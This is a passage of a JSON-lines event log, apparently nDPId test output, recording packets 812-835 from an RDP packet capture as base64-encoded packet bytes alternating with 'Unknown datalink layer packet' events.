eXl0C9jELXp1GPd99lUwsGbPj1tDFG+JZ+P1ajQVK8EAetNEL5xFQFJh6F+52hZ6\/ohapLJRK4mlYsA0sjvkKIMUpCBu1aC\/C7YG2ktIJvAoB37wVlq9Z8yE76oe2sq8mIn4PXZ6oR7CgJo+TJGmL8mbJEL+0ONJMqyEy1bhKv6TIKk8gefstyGwAlxWXr66GsF9pqqJL2ZvZPjYHO9Gx6SX0jBpAa7R433FJtl3g05FIrl6Eh8b5mc1BoUulm\/dTvS2PQ1LLU4JssxjCUIX0FabbLpuZ8pVNiy5qBrj0agfx48h+H+Qdx9k64UCT1i8oiHMFhIuXAf7ch5vuCElHI3NJ3VDWE9bB2xsKWIDtDhr1SOMG1oTeoN9OTZJ7YrtdanbmphOyD2hfjlCMKg0b7i2RakAeU3xrvPe48dayHIsm0NBL3PIjnVm57bjdTw\/49X9LDxaKNHwjHWwswXpevOWASgMNW3\/AV151PeXhLlmwXVd+C02drXVA3VT4k20vONgYnhWFMI1hwNPOuKToxBCoWHDwtD8IoD58l6"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":812,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":813,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":870215,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhGEAAfwYnPcCoAo6sEAK5DT3NDkeclff5vQv\/UBj3H0H+AADxpkR0T3KZk8EVVGFDKRGB9IVzGj0lvUuSaJaJUuIXlrMqkVLmZmO4JkRKSuzC+WM0zYKylmFqvWL+28ifB3KRZ6AzXJvrGFGr3ro0Jv2rHC7D0o1z8+HgjpAF88f6j0YD2xllpRFt7c+xJHMDfl4YIDF9vCvVGjeXpMTMlHTtVNV\/SfqIPxNGVsuaGy6S0msQ6piDBc5XOuxSjS9ipBjfVMtXhv\/yGpexS1Tj4Ia0sDfADrMW9iFotft5QDnDdqEJ4411RpkwSV1zqt5ykAinUuCxclQObvsHMgInJiAbEXxhUmeVB0Wg\/71B9YFvDphrzQrNNrEjmSW+bN1gfgoI3TU57ERFfpvxPU5zeN\/hQ0qVYNtrV1rAXsRSuu9RxYH6ayKNxamz2klbKkNUsSy4JN7EdN1y2FPzLe2wvRHak92EhHARrvxGoPu1PzwWEc0Fdy1xn+xls67AFCOcANUCvziFLLMs6ypfGC7WpvaWzrEJGwqf3UR3yevY"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":813,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":814,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":870263,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9DZJHnJdyUBAfzF1eAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":814,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":815,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":870363,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hGUAAfwYogsCoAo6sEAK5DT3NDkecl3L5vQv\/UBj3H7WOAAAXAwMAMAAAAAAAAAEAQbtR5tMBgRt5lKpm1\/B60da6v7yyZ+bhxDnLxTnXTkhRgLIYyulYqA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":815,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":816,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":870485,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9DZJHnJenUBAf\/lz3AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":816,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":817,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":870576,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhGkAAfwYotsCoAo6sEAK5DT3NDkecl6f5vQxxUBD2rYdoAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":817,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":818,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":870724,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9DZJHnJenUBggAFAfAAAXAwMAOOAIO32NJwvgIjRfiy0KJz5pC4t9w37L9HFCRorwF\/5rJBzLrdoCMaB+yVNTzbcmI1ENlcOqk4YO"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":818,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":819,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":871376,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhG0AAfwYjvMCoAo6sEAK5DT3NDkecl6f5vQxxUBD2raiGAAAXAwMGTgAAAAAAAAEBTAFzZQsImH58aLQ313J9kCy1OiZFz\/hOEPnbVxk5t1D3FXibeG9f9X\/sqwCvW9FBxUpHwOzj8LdBRrrCKiLTIu0K7hiTtHVdQh8SJoeBeQtg2ZpvMCkWUPWsqxXcII6c1+MKMW27a+YEnYuhFTlVT3cv94sn\/BFqtknr2RWT3vE2TsxVSnP4sVZyzJPpqd5busaXjBane\/S82V3OkUgw9PKkL5RmtfqC47797EDPZKyTgE0a\/X6dw5voG+dRpwig6o3YMS3r40hdkBQJIJoiNHvpATPTs+O1zPfUE5QkmSUYvw\/TiBaarnT\/ujclhtPV7TCe3pMZTyIx44gRhATYb07tyDV+RZTqByI4W8MhiNCY0VLGTx+WZhi4U6wxDUpb0ir1kycjVURURmfZjpBFCc9KEL7bpUxv+OFRENFagJWwZZLH5OhuGufS+t2oDMKrCT6lv1iLVIl\/yUzUdumDz61RfHBdthhyyA7p5wHhdQQ9Ao5SIO1RrPqpboi+659dQwKCHZYBJu7PYP9rjNAmc9x1BfktVXQvwTpbLnSUgb8aC2Mmb8KC4uSGaF75ypEPAZcImrw+iKBB5Lp97588SUu52KAZ8RR8rPWdb7ROatcuHcIKrorj5C0A1hOKIFz6vHulYCpsCKHpltUJ+8fvW3dEWnYJNZY6iA9oghxyS6SXZh18+THwi+QN4rQp2qrraV6XLkwOFKjik3uL25WcAIi9Gn\/kmKKhm6ZQWIbiM3rFBEUER8KlHtKegiHTgFltINplQUT+JPMuMnjWrzYSRGe79YHRg9gIVq\/fzDr7i9Xt3\/XzXHeRURP2gtuB1Ag8FjQiM+BjRpVKiTUZq\/VCdx2giQskWc7CVV9MRmVM74xQwJ4g8Nrs56Oqx75b2CBfYzv2UWc3GdGDIG6H9JrWY\/+GKy0ISHLgOcHvJE9YF655+6+5ajF6hDaZGzp5kuwBRA3hq+QQSNYfUu4oTb2+erGlgIqUnq6xTWcmtMv7tMTOLizSZGPs6KdjxN5INEp3pQmMQOzM+OHgq1zjGk6m78aE5b2zOcVnGM2cCLW8LTHXo9Uvs6JXhMkh2CokXhqOf4zpDAT+IjJYmvyqBSLKSMCI\/EdzsgYwTOCJpc0TBrAmK2mAN0+1P19WGlj50Em2lYJTRklu8gDq+BdB7oVLzGzTGzMUcFjpDrq3MlkZX7E\/HwgRz0BUIFMsTE2H78+GkgAmBoI5MRGtnmmrD+0o3PG04Fx7RlgK9nNU2fhVAhMkgSTfLJPPFmk\/xhsmWPDH6cU2Wzt6zynlzCDPRFlRWNCzkW9uks8DoRO7ACyMs+txkrO36pJWmvTdv0nQEpwXBUb+38v4gCvkACDyyTwlI8QIWxrVwHWO\/pHfT2gnAI+oF1kg1AC2BgF1ebpJ3dxbM0XbioaZ5OP9NmBZgtymL8rx0Oob5rw43TdT3w7cNsHclXztW3DvLTx+L4JdpgKHudtqPz346LqOhxy8T\/jPFCE86g66jomEwpNJNBRVWzUGSpeZ1NFRHHA5eCcN8GBhFoQkB2Zcb0FTcylG0g0OYHC+X5O731dhFIAr\/Ekn4CkG8UYXSh0HQGEjjIXsPzAiPicu\/JQLiG3g\/f4Z9XFPgRJUYRh1a+2c6xhgvnY9L75xrX\/BeEnbNayYxcBZa6Xf2b9V8GgYyO0XcM7i"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":819,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00818{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":820,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":896141,"pkt_caplen":390,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":390,"pkt_l4_len":0,"pkt":"AgAAAEUAAYJhHEAAfwYnWsCoAo6sEAK5DT3NDkecnKD5vQxxUBj2rWaLAAAydXFx77lPdc7zuDCxZXBmp6OOPXXHmm45PLkgfBzNhBCN1cguE9UIjTP0J\/Ha8WD1mN4FrxRawqqrQbhGLgBWKD5APDCLxQyvz5sUn7RJfjWYPlPO1vtyf9zH0Usjqor\/0D7cQMRr3jGk7H4Ppr2aENqwJmsTPlLfj4kJTBwwEjB+CLHXB81mc8Gu7RHj+eYf8XorMkkL5z7dsPWsuocUYDr9Nig0tGH2w0\/BbS7nIHhybQxY3VpjoZkH3iSvGMOF\/N193gm308b8Vjz9gKb3UTdhfxmq3zGIPHIpsT8uIask5n1CnCxJp2S03C2rJ6TYG78sfW2gWaWZ3OEAjXnsXI+99ymuzjoVP9x9GAw9C\/Q8XmLt8eb49k2Kvhwy8ZoTFbg0NThZNofaAqObW9XyqqqPk\/rnTdmlUvw4FGNCN6NkhUsachxDoa1PyUe75lPJmuOPzHOIfxf6"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":820,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":821,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":896201,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnJ36UBAf9VZwAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":821,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":822,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":896233,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AgAAAEUAAGdhHUAAfwYodMCoAo6sEAK5DT3NDkecnfr5vQxxUBj2rb09AAAXAwMAOgAAAAAAAAEClTHw25D35RU+o6GxHvwrXPY6nMx7fxifhGuTdHTiHtVABHnsZ4b5XBon10WmwvdW6Iw="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":822,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":823,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":896331,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhHkAAfwYossCoAo6sEAK5DT3NDkecnjn5vQzjUBD2O4DWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":823,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":824,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":896399,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnJ45UBAf\/lYoAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":824,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":825,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":934245,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhH0AAfwYoscCoAo6sEAK5DT3NDkecnjn5vQ1dUBD1wYDWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":825,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":826,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":934274,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhIEAAfwYosMCoAo6sEAK5DT3NDkecnjn5vQ3PUBD1T4DWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":826,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":827,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":934309,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hIUAAfwYoesCoAo6sEAK5DT3NDkecnjn5vQ3PUBj1T6mSAAAXAwMAMAAAAAAAAAED1gGk\/QdICXZjxSLCnqAT\/tcUO0ymbjRfyhStRcHHlWHM4fOg+v\/GcA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":827,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00399{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":828,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":934344,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AgAAAEUAAE1hIkAAfwYoicCoAo6sEAK5DT3NDkecnm75vQ3PUBj1T42FAAAXAwMAIAAAAAAAAAEE7U7OIt\/uyxtgLJE72mf3h6I2IxHRVipC"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":828,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":829,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":934383,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnJ5uUBAf\/lXzAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":829,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":830,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":940977,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hI0AAfwYoeMCoAo6sEAK5DT3NDkecnpP5vQ3PUBj1T8WSAAAXAwMAMAAAAAAAAAEFoPoBMZFfzGwTqxBPKiSPO\/hLBdmkMnkdpCrrlVmIhlg7LjNjh\/9Jcg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":830,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":831,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":943695,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhJEAAfwYjs8CoAo6sEAK5DT3NDkecnsj5vQ3PUBD1T603AAAXAwMGbwAAAAAAAAEGiKir0L66shay2qlwaIdDLwF+Nmoiz6Ounkpp1dQviimaPACGfdnWZcF9iOjJpnuN7WnkDUCRKQP89mcW1pOkMl330wZhOG7GJM3RvW+ZjLWAZP1SWR+ZVQ5nspqj+Wq5GTXzhOITqS4QCSX5qACLXgipKtMpxGOSWhqnM0ItU4Dawld3uKDi4LRiplv5w9EW17npPln4S3ntb8EDpo1GPfOWyL5Xdg5PF5oh6nJS2kTnpLDSXMg8cbVhTdabr\/13Lm1aUQiiKKkT+ndncFmKB9SrCAt4FE8FsoSKuqsWtR2TdXEXyNULgbiPREYF9oKUCfFTFEWYF+DoMhf+KLj3pACa6kmF0nHm83AmyIzpQeIQ2dccnGS70JX5NtGYorbR4hxADPhSpV4LXS6PVVOZcrmpRLDfd4K2T1iuIxhgV\/jurmF4O2iokJRmPCHIhdA2PQcReFMSMOjMgZKMxznzCoMATBO\/sCN9uXj2cVLhIDsQ5uDB0A6SHaGmec44wY9rcEIOL+vIdactXMEnNwMHLpoLm89MXFkz9Vad9ItxO692+S4axNOQ\/N574PNSphEpCoyXeRJ9oqoOMcTV3TX1DCEV57uqgMrpmFvRJGnCtyKGp9R\/dEVvZz8\/Fdv48VC8LNOixlwzPDEVTgcqzUd+Mfkm\/pAPDe0sqBZ2Si\/M7+SZPj\/6dGNRAjzgI\/MGPjJ\/\/VLs5bb\/prVxEutEzQGxM5Pr6HqIsSLH2S\/VGsihr8fVNDsyTg7ncJA+kJoIE3h9luA8mw8DnjoU3CcPr6VnodCoEoeBhXtcRFBdXcDTY69WS2beF6xq7aukv5bPy6uhLi0avR5+itcZG0zcau+w9BbZ4wJfoFNtfDS9bbWISlGzYJAADnZ7hNmCc\/4bQuUxR75jsg55G9+pHHyPx6LY+U6afNHraSTDAPK3DCPScQn08F\/k0GyMq2CYqnbFonWC0ehYKbidYkLr0r3ZnjHFQO6InOHjZaa1wNOd2W5mK5gmq5ZRZPVtOi6SfS\/VShQsn2yOpWxDwoMSDBE1f1IHs2IUCav4z9j0g2YNfaRY7ujLGkRdLaKO4rGecKObcMGjCCVme7fmRUPL+QKlAgWxxL1D2Omgw8VlpMTiTI+iQtp6JqonxzZGLOcBKzT8FvG6zfUGhV07MjVipi\/gpgw+bGUMHYE5Q8jFtZgZwglc+vOHEMYHfFK8oK7T+Oxi14Ivg3dm1azU9EPL0KF3QJp1zHJeI9TOmySdrKhkGdfnNRdPlX90CHvUthgcs8Y4WWOmwpNZznrmaR2ZVgorgY+eKglcNV3GlpNHZ8ex\/\/IkqSKDG\/U41Fh7ZcfY30QVYAr6AAW1P8xH\/xjJoVq3p759lzZz9xzqCVF9M9o0h7ze0k4hMelSTqnK86pfY4X1qNansuaEqRe8Kkft2c4Mdxd5zuesP7iH+SljwGa6AhzB0XY57tj+8TAP9ed6LtqOXu1IsKtJrsr\/P\/09WopKufcA4QNYbguayySA62WvBjFHokwH8avTFwRchPXCGemxPYux3CIPNECnDIHWGOrv17t0w19hfQrnDXXutqlH8dOz\/tAOoCs5kwwcjxL+eoIIEXyFd+hrTpBBaoc8QxWa\/SABAFUZZ+hEzN\/XPDslxT2cS8pidEMuTiicjfAbJXoht9dzLca97BvUqiHvozhj"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":831,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":832,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":943768,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnJ6TUBAf\/VXPAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":832,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":833,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":944185,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnJ7IUBAf\/lWZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":833,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":834,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":944264,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhJUAAfwYnMMCoAo6sEAK5DT3NDkeco8H5vQ3PUBj1T+xSAAAOpxCd6AJLyNNKtsQn4DBOOhv4jpbWOpGSGTteEcb1GBA8yHrLvaMr5B2tIYemUIxog6k2XQz7OxQJHVaBYWv\/o2nbxtlzEru+5IWmN1JQlASOqVlgFzg73Mi0+Hx2Zw2eHruy5jOjIBO3jeV3whAjju6HK8aG31pz+mwkZnKxO3mczXKwSMouKAGDnsXhUkl16S50qu2LTD8rUxPoPhYFEGBMW7NdJ\/jwTkRBOvI6v+YkPR7M7K8tI5KKfHvREHS0mLFJYBfC+z+6kvB601aNlPGwqsSeM5uMe9Cw262clC2JNrgqIUYcdB9dUxSq8MLcgA+1cH7j4P7AS4BV+QNYqf03LBBkr+3hmFTbG077MBfyHRcAMqG1lF2q0mRD9Nhw\/Kk22MP56xLcPLHK2eWiJ\/L6bi9aOYj+\/VFOWhURubc9G0Yr2v\/LlGUotEjNsY24nwALJjNNzMwgKZKXM8IsNFvrgCGgjGJhZ76qqFIkC8HDYQXSkLNjto05"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":834,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":835,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":956518,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhJkAAfwYjscCoAo6sEAK5DT3NDkecpTz5vQ3PUBD1T8nQAAAXAwMGbwAAAAAAAAEH5rYB4oq0\/H2FRPsaslgRDcHZLSpPm9R2gPKsEUnX6FDOoyqaawWAdeQ1X6LuKUUrDY5gkuUmO3rUAJ7NMo7ADJHJiaWf7ytAjLudImKAfAvksEyGdpvTj7K5xiTDAfRILlXJsqX59eKSQjjnrypP0E7j\/sbjSLe8tVMOlkmxeln9kqodFtfvj9EjsHwGZTIeS9yP+0DiYYdbDYXOvDGWys7AZhSB0xq9hRttyJXZn3TWqUkv01VB\/CYruaDBOrLS59hDjpR8XCMkqoXK5kMOe4a60FijqtUbkj0StQv5xB65oVeoebW1BrG7kFMY6tspEsRF\/QlYxQ7bNnWbsbRLxY4qGoPQKHwZAYJ7xRbANLetf8LnxJ+2T7PKDZ6hoDvjEo9r30Q5eC2eug\/CtleRdGjzcuIZKexQ1rsafSnMwM6HxPHJfZAYSMkVvr55pA9AI8wIkJ7hTupflqaiQcFWs2Q7zzkkcnPqV70vooPR3y5hQzfoJUvXdXg3OeWXNK4cDWnLTsUOYkTlQoSr1NpeeB+S8DyX6UNyu81uTLZ7WDKhyanDHL3S8bd7\/4jYvesCAbeYQUAtGfhZgxwrQPGktHHq+f8M8QF7cWtsnoM8XIk5\/G1Cbpmzyb\/NGCbqX4IOKgQvLPK7ayZTK\/bBCMnvdeDKk413evJqkwTn4HUSnSQ+c9i9bzEzdvmgfhOFKp1dVc9WOf2T32IXMp2wot6JQGepIJVlBMLDsPWXrqkOm0iwtqix2lzF6zct7Yyy+9Sj02oeZWdK\/cPyshp5Si5idTh2iR3p2g5xSUPQ73jbKvqUgrBSviUCJXl1VkyJpFevNFW\/YZE9eKnvHbrrkrk4xIcBQKpOVNJUdhR1qSm3449aOb9aePrrUul4\/F8lhGeNiRhqSzK6LVQH09Sq\/tQPpa4Q8mBQ6wZsUlqdeT2qTc0b8HJM6fwX5tD7KXhGbUyfZ1\/QEl0PAeR5\/HSjRRRpvtqBeTyfVefvOB1VFxENKDIl+wP5WJgedFMpVkIe2kVsZ8To9Bs\/2kUj2ADfTyf3h21pU5NczovJXZyhDV6RNrhXJnZdjrBbqIgN78kASOsTITfyEAuZv\/22aao6RKUrxcZbXGIzZSoHIkaI3ozW2UHEG5PxK8YuwXbqpjgq30RwKtqJcbNzJpQBrYg3yKzlQFTXbvCfsoQ7oPOcrQFx+PuJHV7Z5xmQciwQ+dFv8kcei0YHIKMhgEn0uiyF78fXIBDa8gQL7s2zCw3vXNmGqzQNq5Y2\/3R0gx2n51cWJrTxt6V1heGN0J35VLaMyDvkrtI\/5UdAWtnP+IYsfWcJlxAz15QY48sg\/xyuEakUprz+6LyescHE7zB8MGkvLzppixseu\/oDnvZkrTtDyoI5S+Gs7YjokdgbDmjKQfxDpvXtECjxye7d3vWeuk2ciGiPsL2Scf7w53i0wDK2BWSWyDT7TcmK++iLWUuUA9yRqfv0jeqh00iBfm6UCRW8EL4XSof2d54fZOdyy9NeyEYdRH1YEXbJgt6oBAgqkIpA83ljzqHv3vs9AXrpDfmhjG8QbhLBxk\/tl6qsUtKv+wgU4DTk4hPrg91P1LEjEMv53K4yc9C6TwdV9Ie3e3cQz47cql7o6hkXpKhvQqB5HkgxB2TEBD7JEM8GakIrxItHXRE\/c9tjdGt47GV9Fqmx"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":835,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 